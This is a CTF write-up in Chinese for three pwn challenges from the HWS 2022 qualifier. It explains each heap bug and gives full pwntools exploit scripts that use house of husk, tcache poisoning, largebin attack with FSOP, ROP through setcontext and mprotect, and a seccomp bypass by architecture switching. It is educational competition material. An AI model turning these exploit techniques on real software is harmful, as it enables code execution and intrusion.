-
-
[原创]HWS 2022线上预选赛pwn writeup
-
2022-1-26 18:57 7978
-
送分题
(这题名字就叫送分题)
题目环境2.27
有一次unsortbin attack的机会,而且贴心的帮你泄露出了libc地址
可以通过打global_max_fast,将fastbin的范围扩大,
结合可以分配两个大小很大的chunk,容易想到house of husk覆盖格式化字符串处理函数为onegadget,
但也可以打IO_FILE结构体来做
这里选择用前者
house of husk的详细原理
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import * sh = process( "./pwn" ) # sh = remote("1.13.162.249",10001) context.log_level = 'debug' sh.sendlineafter( "big box, what size?\n" , str ( 0x1850 )) / / 计算得出 sh.sendlineafter( "bigger box, what size?\n" , str ( 0x9420 )) sh.sendlineafter( "rename?(y/n)\n" , 'y' ) # gdb.attach(sh) libc_base = u64(sh.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 0x3ebca0 global_max_fast = libc_base + 0x3ed940 success( hex (libc_base)) success( hex (global_max_fast)) sh.sendafter( "new name!\n" ,b '/bin/sh\x00' + p64(global_max_fast - 0x10 )) sh.sendlineafter( "(1:big/2:bigger)\n" , '1' ) one_gadget = 0x10a45c + libc_base sh.send(b 'a' * (( ord ( 's' ) - 2 ) * 8 ) + p64(one_gadget)) sh.interactive() |
peach
堆菜单题
开启了seccomp沙盒机制
另外三个分别是fork,vfork,rt_sigreturn调用
题目用的结构体
1 2 3 4 5 6 | struct peach { char name[ 16 ]; _QWORD ptr; _QWORD chk_size; / / hidword的值作为标识堆块可用的标志 }; |
题目初始化
菜单循环
可用的操作
add
dele
show
一次性的edit?
显然这里的edit函数没有按照堆块的应有size来修改堆块
存在一个堆溢出漏洞
很容易想到去修改tcache chunk的fd指针来分配free_hook处的内存
主要困难在于泄露libc地址
但是在赛事群里讨论了一下发现这题的解法很多
因为题目给的edit函数在取堆块时还存在一个索引越界问题
这时候就有了一些奇怪的操作空间
目前主要有两种流派的解法:
- 正常堆题做法
- 利用索引越界和bss段附近的一些特殊数据来绕过题目的一些条件
其中第二种流派里目前已知有两个解法
我在比赛的时候选了第二种流派中的一个解法
希望有大佬教教我正常解法是怎么搞的
以下是我的解法:
注意到在bss段的上方有一个特殊的数据,一个指向自身的指针
即上图的off_202008
并且下方有一个menu字符串指针和edit_flag, 如果可以将这里视为一个chunk来编辑修改,不仅可以在保证一次性的edit函数依然可以使用,
还可以通过局部修改menu字符串来指向程序中含有libc地址的地方来泄露libc地址
并且off_202008+0x18位置是stdin指针,可以满足edit函数的check
但是经过测试,这个字符串地址与含libc地址的地方有3位的偏差,需要爆破3位
(实际上在本地中这个爆破的效率很高,大概只需要几秒就可以成功)
泄露完成后就是一般orw读flag了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 | from pwn import * # sh = process("./peachw") elf = ELF( './peachw' ) # context.log_level = 'debug' context.arch = 'amd64' def add(idx,name,size,content): sh.sendafter(b "Your choice: " ,b '\x01' ) sh.sendafter(b "Index ? " , str (idx).encode( 'utf-8' )) sh.sendafter(b "name your peach : \n" ,name) sh.sendafter(b "size of your peach:\n" , str (size).encode( 'utf-8' )) sh.sendafter(b "descripe your peach :\n" ,content) return def dele(idx): sh.sendafter(b "Your choice: " ,b '\x02' ) sh.sendafter(b "Index ?\n" , str (idx).encode( 'utf-8' )) return def edit(idx,size,content): sh.sendafter(b "Your choice: " ,b '\x04' ) sh.sendafter(b "Index ? " , str (idx).encode( 'utf-8' )) sh.sendafter(b "new size of your peach : \n" ,size.to_bytes( 4 , 'little' )) sh.sendafter(b "draw your peach \n" ,content) return def show(idx,num): sh.sendafter( "Your choice: " ,b '\x03' ) sh.sendafter( "Index ? " , str (idx).encode( 'utf-8' )) sh.sendafter( "lucky number?\n" , str (num).encode( 'utf-8' )) return def pwn(): sh.sendafter(b "like peach?\n" ,b 'yes' ) payload = p64( 0xdeadbeef ) payload + = p64( 1 ) payload + = b '\x20\x20\x20' edit( - 0x2f , 0x100 ,payload) sh.recvline() libc_base = u64(sh.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 0x3db720 success( hex (libc_base)) libc = ELF( './libc/libc-2.26.so' ) free_hook = libc_base + libc.sym[ '__free_hook' ] setcontext = libc_base + libc.sym[ 'setcontext' ] mprotect = libc_base + libc.sym[ 'mprotect' ] read_addr = libc_base + libc.sym[ 'read' ] add( 0 , 'fxxku' , 0x208 , "nothing" ) #0 add( 1 , 'fxxku' , 0x208 , "nothing" ) #1 add( 2 , 'fxxku' , 0x208 , "nothing" ) #2 dele( 1 ) payload = b 'a' * 0x20 payload + = p64( 0 ) payload + = p64( 0x211 ) payload + = b 'a' * 0x200 payload + = p64( 0 ) payload + = p64( 0x31 ) payload + = p64( 0 ) payload + = b 'a' * 0x18 payload + = p64( 0x0 ) payload + = p64( 0x211 ) payload + = p64(free_hook) edit( 0 , 0x420 ,payload) add( 1 , 'fxxku' , 0x208 , "nothing" ) #1 poprdi = libc_base + 0x0000000000020b8b poprsi = libc_base + 0x0000000000020a0b poprdx = libc_base + 0x0000000000001b96 payload = p64(setcontext + 53 ) payload + = p64( 0 ) * 12 payload + = p64(libc_base) #rdi payload + = p64( 0x1000 ) #rsi payload + = p64( 0 ) #rbp payload + = p64( 0 ) #rbx payload + = p64( 7 ) #rdx payload + = p64( 0 ) # payload + = p64( 0x89 ) #rcx payload + = p64(free_hook + 0xc8 ) #rsp payload + = p64(mprotect) #restore rip payload + = p64( 0 ) * 3 payload + = p64(poprdi) payload + = p64( 0 ) payload + = p64(poprsi) payload + = p64(libc_base) # payload += p64(0xdeadbeef) payload + = p64(poprdx) payload + = p64( 0x100 ) payload + = p64(read_addr) payload + = p64(libc_base) add( 3 , 'fxxku' , 0x208 ,payload) # 3 dele( 3 ) shellcode = shellcraft. open ( './flag' ) shellcode + = shellcraft.read( 'rax' ,free_hook, 0x30 ) shellcode + = shellcraft.write( 1 ,free_hook, 0x40 ) sh.send(asm(shellcode)) while True : try : # sh = process('./peachw') sh = remote( "1.13.162.249" , 10003 ) pwn() # gdb.attach(sh) sh.recvuntil(b 'flag{' ) flag = sh.recvuntil(b "}" ,drop = True ) break except Exception: sh.close() sleep( 0.1 ) print (b "flag{" + flag + b "}" ) sh.close() |
听到群友的另一种方法是,因为程序在开头把flag读入,并且给出了栈地址的低位
同时这个栈地址存储在了bss段,所以可以以其为一个假chunk,来修改栈,将arg[0]覆盖为flag的指针,然后让程序报错打出flag
grape
这道题比赛中没有做出来,今天复现了一下
题目环境2.29
开启seccomp沙盒
漏洞是一个非常明显的UAF
题目的结构体
1 2 3 4 5 | struct con { char * ptr; _QWORD size; }; |
一些初始化操作
可用操作
只能用16次的add,并且使用calloc分配内存,
同时自己做了分配出来的chunk的size字段的检查
dele,存在UAF
show
后门函数
解题思路
largebin attack
高版本又UAF,那铁是搞largebin attack了
后门函数可以让我们对堆中0xa000偏移以内的含地址或为0的内存写一个值
所以可以依靠这个修改chunk的bk_nextsize来打_IO_list_all
现在问题就在于怎么去凑出两个大小相近的大堆块了
程序提供了三种大小的chunk: 0x20,0x110,0x410
实测,如果先free填满tcache再合并去做堆布局,次数大概会超一两次
我则是用另外两次后门重新利用了进入tcache的chunk
去修改相邻两个已经进入tcache的chunk的key,再free他们,则可以合并出一个0x820的堆块1
再去free两个0x410的相邻堆块2,之后分配一次0x20的chunk,让tcache内的0x820大小堆块进入largebin,并分割堆块2为0x800大小,
注意这里free两个0x410的相邻堆块得到较小的堆块2前需要提前布置好利用链
然后使用后门,修改堆块1的bk_nextsize
最后再分配一次0x410大小的chunk,完成largebin attack
IO_FILE利用
2.29的libc有以下特点:
- setcontext+53以rdx为寻址寄存器,而不是以往版本的以rdi寻址
- 有vtable_check,无法将_IO_list_all的vtable直接覆盖为我们的可控地址
对于第一点我们可以先寻找控制rdx的方法
在2.29中的getkeyserv_handle+576位置,有这样一个gadget
1 2 3 | mov rdx,qword ptr [rdi + 8 ] mov qword ptr [rsp],rax call qword ptr [rdx + 0x20 ] |
可以达到控制rdx的目的然后再setcontext
其次是绕过vtable_check
vtable check的详细过程和一般绕过方法
这里的利用是根据这位大佬的博客
FSOP在glibc2.29中的利用
利用的详细见exp
架构切换
题目禁用了open系统调用,但是没有对程序架构做限制,相同的调用号在32位和64位架构下意义不同,所以可以依靠这一点进行绕过.
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 | from pwn import * sh = process( "./grape" ) context.log_level = 'debug' large = b 'big' small = b 'medium' fast = b 'small' def add(idx,scale,content): sh.sendlineafter(b "choice >>> " ,b '1' ) sh.sendlineafter(b 'wanner plant:\n' , str (idx).encode( 'utf8' )) sh.sendlineafter(b '/ big one?\n' ,scale) sh.sendafter(b ' your grape tree:\n' ,content) return def dele(idx): sh.sendlineafter(b "choice >>> " ,b '2' ) sh.sendlineafter(b "idx of your tree:\n" , str (idx).encode( 'utf8' )) return def show(idx): sh.sendlineafter(b "choice >>> " ,b '3' ) sh.sendlineafter(b "idx of your tree:\n" , str (idx).encode( 'utf8' )) return def backdoor(addr,value): sh.sendlineafter(b "choice >>> " ,b '666' ) sh.sendlineafter(b "present(s) now!\n" , 'yes' ) sh.sendlineafter(b 'lucky number:\n' , str (addr).encode( 'utf8' )) sh.sendafter(b "your present:\n" ,p64(value)) return for i in range ( 12 ): add(i,large, 'nothing' ) for i in range ( 7 ): dele(i) backdoor( 0x218 , 0xdeadbeff ) backdoor( 0x628 , 0xdeadbeff ) dele( 0 ) dele( 1 ) show( 0 ) libc_base = u64(sh.recvuntil(b '\x7f' )[ - 6 :].ljust( 8 ,b '\x00' )) - 0x1e4ca0 success( hex (libc_base)) show( 1 ) heap_base = u64(sh.recv( 6 ).ljust( 8 ,b '\x00' )) - 0x10 success( hex (heap_base)) dele( 7 ) libc = ELF( './libs/libc-2.29.so' ) victim = heap_base + 0x1c90 vtable_after = victim + 0xe0 wide_data_after = vtable_after + 0x28 wfile_vtable = 0x1e6020 + libc_base getkeyserv_handle = libc_base + 0x150550 setcontext = libc_base + 0x55e35 mprotect = libc_base + 0x117590 read = libc_base + libc.sym[ 'read' ] poprdi = libc_base + 0x0000000000026542 poprsi = libc_base + 0x0000000000026f9e poprdx = libc_base + 0x000000000012bda6 payload = p64( 0xdeadbeef ) * 0x2 payload + = p64( 0xdeadbeef ) * 0xe payload + = p64( 0 ) * 5 payload + = p64(wide_data_after) # codecvt payload + = p64(vtable_after) # _wide_data payload + = p64( 0 ) * 6 payload + = p64(wfile_vtable + 0x48 ) #vtable payload + = p64( 1 ) # wide_data :: read_ptr payload + = p64( 0 ) # wide_data :: read_end payload + = p64( 0 ) # wide_data :: read_base payload + = p64( 1 ) # wide_data :: write_base payload + = p64( 0 ) # wide_data :: write_ptr payload + = p64( 0 ) payload + = p64(wide_data_after + 0x10 ) payload + = p64( 0 ) * 2 payload + = p64(getkeyserv_handle) payload + = p64( 0 ) payload + = p64(setcontext) payload + = p64( 0 ) * 8 payload + = p64(libc_base) # rdi payload + = p64( 0x3000 ) # rsi payload + = p64( 0 ) # rbp payload + = p64( 0 ) # rbx payload + = p64( 7 ) # rdx payload + = p64( 0 ) # payload + = p64( 0 ) # rcx payload + = p64(wide_data_after + 0xc0 ) # rsp payload + = p64(mprotect) # restore rip payload + = p64(poprdi) payload + = p64( 0 ) payload + = p64(poprsi) payload + = p64(libc_base) payload + = p64(poprdx) payload + = p64( 0x300 ) payload + = p64(read) payload + = p64(libc_base) add( 12 ,large,payload) dele( 12 ) dele( 8 ) add( 13 ,fast, 'for split' ) dele( 10 ) io_list_all = libc_base + 0x1e5660 backdoor( 0x228 ,io_list_all - 0x20 ) add( 14 ,large, 'exploit' ) gdb.attach(sh, 'b *$rebase(0x15d7)\n' ) sh.sendlineafter(b "choice >>> " ,b '999' ) success( "heap addr : " + hex (heap_base)) shellcode = shellcraft.amd64.linux.mmap( 0x410000 , 0x1000 , 7 , 0x32 , 0 , 0 ) shellcode + = shellcraft.amd64.linux.read( 0 , 0x410000 , 0x1000 ) shellcode + = ''' mov rsp,0x410f00 mov dword ptr [rsp+4],0x23 mov dword ptr [rsp],0x410000 retf ''' sh.sendafter( "grapes~Bye!\n" ,asm(shellcode,arch = 'amd64' )) sleep( 1 ) shellcode = shellcraft.i386.linux. open ( './flag' ) shellcode + = ''' mov dword ptr [esp+4],0x33 mov dword ptr [esp],0x410100 retf ''' shellcode1 = shellcraft.amd64.linux.read( 3 , 0x410300 , 0x100 ) + shellcraft.amd64.linux.write( 1 , 0x410300 , 0x50 ) shellcode = asm(shellcode,arch = 'i386' ).ljust( 0x100 ,b '\x90' ) shellcode1 = asm(shellcode1,arch = 'amd64' ) sh.send(shellcode + shellcode1) sh.interactive() |